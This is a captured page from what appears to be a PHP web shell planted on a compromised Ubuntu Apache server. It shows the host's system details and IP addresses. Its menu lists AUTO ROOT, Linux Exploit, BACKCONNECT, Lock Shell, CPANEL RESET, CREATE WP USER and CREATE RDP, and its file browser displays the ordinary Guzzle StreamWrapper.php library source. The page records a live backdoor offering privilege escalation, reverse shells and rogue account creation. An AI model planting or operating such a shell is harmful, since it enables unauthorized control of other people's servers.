Linux ip-172-31-33-47 5.4.0-1045-aws #47~18.04.1-Ubuntu SMP Tue Apr 13 15:58:14 UTC 2021 x86_64
Apache/2.4.29 (Ubuntu)
: 172.31.33.47 | : 216.73.216.46
Cant Read [ /etc/named.conf ]
7.4.20
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
boaz2 /
vendor /
guzzlehttp /
psr7 /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Exception
[ DIR ]
drwxrwxr-x
AppendStream.php
5.84
KB
-rw-rw-r--
BufferStream.php
3.17
KB
-rw-rw-r--
CachingStream.php
4.48
KB
-rw-rw-r--
DroppingStream.php
1.17
KB
-rw-rw-r--
FnStream.php
4.4
KB
-rw-rw-r--
Header.php
3.84
KB
-rw-rw-r--
HttpFactory.php
3.02
KB
-rw-rw-r--
InflateStream.php
1.36
KB
-rw-rw-r--
LazyOpenStream.php
1.06
KB
-rw-rw-r--
LimitStream.php
4.2
KB
-rw-rw-r--
Message.php
8.13
KB
-rw-rw-r--
MessageTrait.php
7.57
KB
-rw-rw-r--
MimeType.php
52.9
KB
-rw-rw-r--
MultipartStream.php
4.92
KB
-rw-rw-r--
NoSeekStream.php
524
B
-rw-rw-r--
PumpStream.php
4.5
KB
-rw-rw-r--
Query.php
3.57
KB
-rw-rw-r--
Request.php
3.81
KB
-rw-rw-r--
Response.php
4.79
KB
-rw-rw-r--
Rfc7230.php
665
B
-rw-rw-r--
ServerRequest.php
9.4
KB
-rw-rw-r--
Stream.php
7.23
KB
-rw-rw-r--
StreamDecoratorTrait.php
3.28
KB
-rw-rw-r--
StreamWrapper.php
4.01
KB
-rw-rw-r--
UploadedFile.php
4.75
KB
-rw-rw-r--
Uri.php
21.36
KB
-rw-rw-r--
UriComparator.php
1.12
KB
-rw-rw-r--
UriNormalizer.php
8.22
KB
-rw-rw-r--
UriResolver.php
8.36
KB
-rw-rw-r--
Utils.php
15.2
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : StreamWrapper.php
<?php declare(strict_types=1); namespace GuzzleHttp\Psr7; use Psr\Http\Message\StreamInterface; /** * Converts Guzzle streams into PHP stream resources. * * @see https://www.php.net/streamwrapper */ final class StreamWrapper { /** @var resource */ public $context; /** @var StreamInterface */ private $stream; /** @var string r, r+, or w */ private $mode; /** * Returns a resource representing the stream. * * @param StreamInterface $stream The stream to get a resource for * * @return resource * * @throws \InvalidArgumentException if stream is not readable or writable */ public static function getResource(StreamInterface $stream) { self::register(); if ($stream->isReadable()) { $mode = $stream->isWritable() ? 'r+' : 'r'; } elseif ($stream->isWritable()) { $mode = 'w'; } else { throw new \InvalidArgumentException('The stream must be readable, ' . 'writable, or both.'); } return fopen('guzzle://stream', $mode, false, self::createStreamContext($stream)); } /** * Creates a stream context that can be used to open a stream as a php stream resource. * * @return resource */ public static function createStreamContext(StreamInterface $stream) { return stream_context_create([ 'guzzle' => ['stream' => $stream] ]); } /** * Registers the stream wrapper if needed */ public static function register(): void { if (!in_array('guzzle', stream_get_wrappers())) { stream_wrapper_register('guzzle', __CLASS__); } } public function stream_open(string $path, string $mode, int $options, string &$opened_path = null): bool { $options = stream_context_get_options($this->context); if (!isset($options['guzzle']['stream'])) { return false; } $this->mode = $mode; $this->stream = $options['guzzle']['stream']; return true; } public function stream_read(int $count): string { return $this->stream->read($count); } public function stream_write(string $data): int { return $this->stream->write($data); } public function stream_tell(): int { return $this->stream->tell(); } public function stream_eof(): bool { return $this->stream->eof(); } public function stream_seek(int $offset, int $whence): bool { $this->stream->seek($offset, $whence); return true; } /** * @return resource|false */ public function stream_cast(int $cast_as) { $stream = clone($this->stream); $resource = $stream->detach(); return $resource ?? false; } /** * @return array<int|string, int> */ public function stream_stat(): array { static $modeMap = [ 'r' => 33060, 'rb' => 33060, 'r+' => 33206, 'w' => 33188, 'wb' => 33188 ]; return [ 'dev' => 0, 'ino' => 0, 'mode' => $modeMap[$this->mode], 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => $this->stream->getSize() ?: 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0 ]; } /** * @return array<int|string, int> */ public function url_stat(string $path, int $flags): array { return [ 'dev' => 0, 'ino' => 0, 'mode' => 0, 'nlink' => 0, 'uid' => 0, 'gid' => 0, 'rdev' => 0, 'size' => 0, 'atime' => 0, 'mtime' => 0, 'ctime' => 0, 'blksize' => 0, 'blocks' => 0 ]; } }
Close